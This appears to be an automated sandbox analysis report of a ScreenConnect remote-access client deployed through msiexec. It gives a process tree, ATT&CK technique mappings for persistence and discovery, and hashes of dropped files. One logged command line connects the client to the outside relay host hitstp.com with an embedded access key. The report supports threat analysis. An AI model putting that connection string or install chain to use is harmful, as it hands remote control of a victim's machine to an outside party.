    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7040,i,15995853576490563793,8681531778066651375,262144 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=856 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:752

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 56F0E83FAD81CFDDAB1980B32A1CE590
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI3004.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240660531 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3964
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 415F72BD0BE53CD6860EC8066F4A062B E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4072

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1596

C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=hitstp.com&p=8041&s=1a745b55-77e0-477a-a1dc-372646efb8cd&k=BgIAAACkAABSU0ExAAgAAAEAAQB5pvd%2f0DKk64YAN%2b1fi1hQUZVQZI5oVgCR1OiCUWEAu38AQTb6ne29mBsdnBNrO%2bqHgwtHOkzc8Q9pIvUur65%2bE31wm3s92ZVYc8ldL2%2f9fRQCa8wgmfgcs3i2h3%2btTnnP9ZKoWWmxbpEmzgVwG9wzQCrhGLYFOA5WgnML8fM3x%2fzowFf2MUOegKyeXryhev%2fPjLoBn09uvZ%2bjTKeDhCekRTVTqXJEesGafJaCFYcbcLui0NJJbHV9w3Egkua6Cr4TtA%2fCMmxt1ziHZHSOiGUIWmMsoV2yhT%2f9ije%2fYrjaWrgOzvxsqbXhp9Il9bZotyo6M9pym4shuTVmfkF4gGXA"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe" "RunRole" "24e7a820-42bc-4488-8312-78de162f20e7" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1672

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:3732

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e582e90.rbs

Path C:\Config.Msi\e582e90.rbs
Size 214KB
SHA256 24d7cd11dcb46f28909134f251714770d64ae76405736060cc3c750ca9ae3684
MD5 f06f06b8c524d94ca43d56035a9a1ab0
SHA1 e81df3a77c9466ae3cbbda7a2cb41e144336a4e8
SHA512 8c5e5d9b1c1db977ce1685dfc92004152a73224b20e40b5c5a3b957b829afd17468788a7239ded71d865060b327ebc95a0e6f6acd0265489b41587f3c60408b9
SSDEEP 3072:jN9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGm:jNuH2aCGw1ST1wQLdqvm
TLSH
T125248C216480807EE7FA1A32D93F9A61BE7DF6641760C59EC3848C1E9D604C06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.Override.resources
Size 25KB
SHA256 08ef947cc485b9c7e02f0f0e2ab3d3769f307c366ee5658fa2ce7c42f824ebfd
MD5 694f1421d57a19dc5a82d4bc86d94e09
SHA1 ea57654ae14bc27ff824c8cef778c8422f956966
SHA512 3a38dc86725bfedc4d7ff1f2ff06f797ee8830b200c65c81e76756ccaf3720b73ffd12ffdc00564ffce7d2e5ef6727606031332da550a21d0548ff4a38157efb
SSDEEP 384:r5liAd3XjDoG0SBPuiOizFIXbeFFNvW8tFqx:vxtXjD70g2iOO+4nu8tFqx
TLSH
T196C239B528DCC99BC3AB4271AFB72AEDF1323FE8E3902315417842B19AF615456C0F95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.en-US.resources
Size 49KB
SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
MD5 9fc69f433805d115364f7fddeae45878
SHA1 36e93cc0f60688dd052c0b074fdd9e4dfa69c78e
SHA512 30fe97ce40cea06b68f11e426453b4e8eab06684c6921eeac52e3e737755afb18ce562b1acf799d4a3bbb767b2db1b25abe5d5abd0b72341a472213035a043b4
SSDEEP 1536:YU3a22xQvG6HpbkkyJIfmTkN/gFYA9JwdL4hhK71ATJKeParg9:YU3a22xQJHpbkkyJIfmTkN/gFYA9JwdM
TLSH
T10B331E1277FD0A58F5F36F05BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.resources
Size 28KB
SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
MD5 ed9f87bcf99cda39c847a5ebe755a4b9
SHA1 c7cd54935424494b50f132e016d448ecac6b58c3
SHA512 ef4194b7d0173056953e0a94544108b6c3634c1e0a6088a481fd663ad4d34db1f219d9f4cdb82c7116911c4d360cc6d2d9bb4fa57db9d4af68ab65abadba1ad1
SSDEEP 768:Mcfv39mCOVPZrXgTf6vEVm6zjpGYUElerG49:PfP4COVPZrXgTf6v0fzNGqn49
TLSH
T1CFD2E0CE33BAECADE67E6F7E39D94070123B6F022C625212B8061415243748D2B68F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Client.dll
Size 192KB
SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
MD5 b25e25d654607d0ef84403f836017731
SHA1 03f92b570ce070dae7146a390041804375c718c0
SHA512 a9ae00cafd369dfeb21d8ba3f62787c98bc4798e6d6c8ce9631b0f8c9caaecc8fcda78c76df0b74838aabcb308c7893a69a97d0fc1a87a78e485798bd98d5de0
SSDEEP 3072:r5jDSMscgsVrgI7uyGhsqVFJRTcyzvDqSmzDvJXYk:9DSM1VsIRYPJukqSmG
TLSH
T15D144CA663685D2AEADF4973B0506030CA75ED25A423F3DE4E04F9F919B33818E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.dll
Size 67KB
SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
MD5 df724b974bf67241993a75cf80ebd098
SHA1 7ea91f2529bed8e16f3e65bfc50677e46c21f8ee
SHA512 bcc9038b3e3b7ab3cea30ffa62ebb4145bfc6bff11ebd2ff4e94f59ef44aced0eb7928620421324a2ab89ae76d3677b30fd84889c220a9ee3021425c028eba5d
SSDEEP 1536:POZLdn4uRt3p/V1gwk5GEPVQoV3l7jg8bdy:PEqUJgxNtQoV1c
TLSH
T131632C02A3BD8A36C9EF5A787465F1450B708E02E463FB9CADCDA4DB1B563E1190139F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
MD5 b0d1b0112506eaf72c7154fef004225a
SHA1 3cb9cd6a9ceb37751ad16165865cb338be39bbee
SHA512 61505b015bb06ce935a5adaa55211a6b650cdb7cd60a6dcc2add8596fa674da11059763e965101ac3e59406f4bd54463f0c8555acf6b660f573a2cdccf0d5925
SSDEEP 1536:Dg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgEdU0HM17RA7:shbNDxZGXfdHrX7rAc6myJkgEU0H+NQ
TLSH
T1AE936B13B5C28872D573093158E0DAB09A3FF9615E21DEAB3798022E4F642C1BE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsAuthenticationPackage.dll
Size 254KB
SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
MD5 5adcb5ae1a1690be69fd22bdf3c2db60
SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
TLSH
T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
Size 595KB
SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
MD5 e52d6ed40d9d4ae38f9a36af49eff819
SHA1 d72f163b9cd2ca20e913e64b69015217076e412f
SHA512 fe759aa56c5bbb0b5104102edd348c67a0420f7a9291348cf03ce31322d46dac52d4335e82a6eb415703a46d2b3c936452fab161535355a65458d95261b21846
SSDEEP 6144:GHv8AU89LWJ2dNq9jGyYSMCoI68zg/KWcA3rlz1vH5kqb1JCZ2cNI2/C4I159uvZ:ueCWEdNq4yP76wSPrlz1vHCqb10u9FK
TLSH
T1FDD46A62737CDA7AC5FF0779B0F11A2457B0E8226285E78F5804E5E90E963829D443FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsCredentialProvider.dll
Size 837KB
SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
MD5 a81497b417d4f67ea6cab399bd3a71f8
SHA1 5738c90789e62bf046024ceea96cbf2665bccd9d
SHA512 a43dbf305579b193d2897af0bd8cff528ea93b9fb93448b5cc6b43a6763ac16abb0752cf83d9b4ebbfc0a9d92084d12db3c69655f8ff424e53a4baa7fad4b781
SSDEEP 12288:tMYkEC5OqMuIyZiBP+6EEKNPQXnRHb+mZ:tfQ5ZMuIyZiBW61KSXRHb+I
TLSH
T138055B1BE79440BAC0ADC2B5C35BA736BBF6F4864514B28F07D40A227E6BF506B1D784
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\app.config
Size 1KB
SHA256 184820b77dc6fc22b8a8bd7df71675dbc2a6d2e635c48adb71f3bc3cc0ed5bac
MD5 33e3d05f96c3f852c9a20bb8f3a12879
SHA1 8a989a1c7275e710099a6c135b889a6729efb993
SHA512 398b53c7450f40cf449a1a101ae0fe0a642d2d7268ed276eb421652054d692bbd1a4f5a32ee369f6e529ebfa15a0cf70a4f271fad8753fca1d9e4e9a4ae5ea7d
TLSH
T13121731DB4C0AF5915736632E63102D1ED7049231266A0E478DE3167AF70ACA4BF32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\system.config
Size 940B
SHA256 3f0dca3ca0f948199949b32a56558ea0ef1af6f308f4319bd696adda97e98324
MD5 39d2d4e04fff095847b76b51fb7f3a76
SHA1 225492147a0c00f09a25034174f46c41d950bc93
SHA512 bb26082c6c39f575d4421cd4854f36966a024f3bbb6ddcca4de307d910d20afb5544742e473e9fbc39e11edea4d0f7c348a060472417ccbea1f7e579cff8787c
TLSH
T16711637131C0B95717335D62C6058BC0DDF2269F140620DC757F62760BB2AAB0BE3699
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping2348_1829448940\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping2348_1877032021\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping2348_2060829510\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

65b8eb8d-1be4-4439-8df2-aaf7dd933cc5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\65b8eb8d-1be4-4439-8df2-aaf7dd933cc5.tmp
Size 105KB
SHA256 ca4ac85fa9af9d400600502f608a3f8d8bb73aef8a60227135f105dbe1ac2307
MD5 fd67f6c669d512d4f5409397f5166524
SHA1 57fe9fe38f3185ffaf45d9ead615bedb1359e4ef
SHA512 33fb3eb9c722b4610f37fb197d6c1b499a01cc5837317c4a96cf987a38080a355b423a63a7605516c6e162ee005b1a8e5c3175e684731288f3db35ba4da31224
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
TLSH
T124B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 85f865adbe5e58c0596a4db9b9daa509b8e2bd087dbcc9a01a5a095a266757bc
MD5 29ddc94c4e214fd03f664130dd36edfe
SHA1 10dfd57508ad6ef16445956dc1ee4d8c2bffc4e3
SHA512 fa7477f3f8068f41dae4965a930de8ad11b234c1ccfcd17a84fb2bfe4c289beebc19be8d058f75ed01b6dbe7304af8270da91d31316fc94360f4fa750ab203bd
TLSH
T13AD012323B597441E71A8130E403C74017AE54B524868706A254C50D6DAA0C592CB682
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 cd640af4b18734f838b65cd3f2b65e25dc669e7cc487a16f826240b353446af4
MD5 337b94f0014654439210355bd20e82dd
SHA1 26e4c8276331781253e2a807dd554b2ee3ad7e8e
SHA512 087107a51c83ccffad34c7d3f5423a0f231d30a9f78e9ed5db98eb770bada291f65c7b34d1e72284571b846a7acdf88b217ef4da25b7acff47964af1551b2e9b
TLSH
T1B6D012323B197041E71A8130E403C74017AE54B524864606A254C50D6DA90C592CB682
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_0000c1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000c1
Size 31KB
SHA256 5a76d2231ed8f84cb5936f8d3042f6c30b084d46646d9976969ec7939e8f0c54
MD5 701eefeb1fdb0fb7c4c621b5b096c8c6
SHA1 ec61e4d2ffebf7d72bdc430751d1abb87b920833
SHA512 cca1dfe210072cc0bcf4412c5a8da0be2c499bdcc7568ab2a56af98b6f8f0ccbcffc06bd8e3d239f57fa637a8065e97876b6f41c7880d1a88165c9846af7a545
SSDEEP 768:bNUgQpLqffj3oGFgoMiCK33K8MfqojuHuGbC0Og2FkI:bNcAk7k31A1jW2fg2FkI
TLSH
T1B4E2F13327838F5EDE3217B9E602D76F9B0EB363251E415449B0631EAA46450DF62E8F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 0ecf24dede5a9c6056bac8b17aac0b2fd58ecc9d9371feed04396eb98d1baa6c
MD5 8363e7c512ed15c40c66d9f201ea9992
SHA1 1596fc36124a4f94746f6bf7774ecdbf5f4ab0bd
SHA512 e1945dc3fa5c19627265f4f62d16724a791bb161f4f487e2a5ed225f2ae7fe95554977d5752462d4af376ae80c29c700bdda16aa252f1be255dee6012b1e0268
SSDEEP 48:qAyAL0lj84ytAo7hAEbyVtceSIullKZmFiWNdfWj8l9EaolM/6lXaXHrCcOL8dXS:cG0lHSPIteIullKsDE8XqMVWvLaXeg3G
TLSH
T1A8A14E34029E0092C75D92B5FFC10640FB7162EBFFA7AD26C2519EFC860375E8909D29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5921f5.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5921f5.TMP
Size 3KB
SHA256 6f846d730a94552effe1cd28479edc9aefc03318edb5ead0bfbad0db6053d3c5
MD5 366a500c67ef06612f4ef7c505053bf2
SHA1 0936ff5a411fea69e71c22dc585fd9cb454d7b81
SHA512 dd83d9cbdf89ce7da1a308db151ca6eef208d98cf48dfebdd4f32ada0480fe9332da670f7afba412bdf78ae4b7c2648f8913c08380a101d808e88ac0c507a145
TLSH
T1BA811C35028E0091C75EA2BAFFC10300F772A2EBFF97AD76C4A2997C980375C890AC45
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir\the-real-index
Size 96B
SHA256 2778cadefd3336ebb3e3d3be066d43039570ddd210ea21fa27ea8b4a32dfae38
MD5 ffd73471c15d41665eb7137ce068f917
SHA1 19a7c0ccc582f1ec5abbb9db7c2e7185c12cfcb0
SHA512 afe0ce56428cf198ad8808bc134babd90330afa8b90846a41c81b96f9889850f6f2ae70a2f57d6d79c7fd0767e49e11c6b5e409555f5e83e1ddcf216c071f50a
TLSH
T1C4B0012285C82956EF82967462828D81B3606FD917CAD60792E108D4E6723AA8642531
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 7KB
SHA256 8a4e8c2c07966fa0d39a089725363c19dfae241e3f0212ebc607844decc8f420
MD5 506241abfc0e6bf19044c9c9cc020164
SHA1 b3c2c653116d5837ff04f396b54828b0f9c74615
SHA512 637c38a4e58a8c37da3ff9a6e4307b9dfcba31df0bf904e063baef4dc348b96a0962b75a1925813699a116585263bacf6c15ed74e67e0905c005c0262aa48e43
SSDEEP 192:Dlh6MuAx2JsgeXD26FDINX+oDAA6TmGedk0Da2ikQYDZ5DDS9:Dlh6MuAx2JsgeXD26FDINX+oDAA6TmGX
TLSH
T116F14CB387E4992DCD2252F5AB366E2FCD1D0914536C3C2ACAE4BF1B93E1470E101A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 8ad9045a73c542a65017484a0fce5c35a1d7b91eaabbecf6492975f4e080316c
MD5 eef9970806c79da30b5b4dfe96d91ea1
SHA1 9acf0ddcb81319f00bb8a8b4a32be21c2ccde402
SHA512 5a6450d01f7b126998aaec22c9b5ed5b473f7c3c1380a61c01487651905733e2f031d30dc6dbd07508d576a6c2280e3063602d1cd50f5d97c32df523ac029b38
SSDEEP 192:sxZlRQyM/jK1Ml8Mit/f0sw0Xb4EdpMTHW6+WNIGN/eSuPTvD1z24kmIg4J:sxZl+qt/f0svXLSHbD/eDVc
TLSH
T12852D852AA345A7B8CDBD209FA45BB63D6F50573D1940E54AAFCD91C00E7AEC2207C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 903be2cd6386c3ea4120891ce51ac3ceff5e6967a1d18606848e53a7ce32f1bf
MD5 bdcb2b0463bafb60cc705f76f558b4d7
SHA1 c022a9686f5b9a0fe394d3b74d5fafd62c51752b
SHA512 a38bd1f974135c97bf4c3c58fce5d845715e9007c23ef2d77b7659df42530a4da57911a7ac019bbf23eed10fcfae09030a3450a059ab20bb82f21f3d5525d65d
SSDEEP 192:sxZlRQyM/jK1Ml8Mit/f0sa0BrE4IdpMTHW6+WNIGN/eSuw3PTvD1zpwkmIg5QJ:sxZlGqt/f0spBWSHbD/eDcCa
TLSH
T15A62F952AA345A7B8CDBD219FA45BB53D6F4047391900E54AAFCCA1C01E7BED2203C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
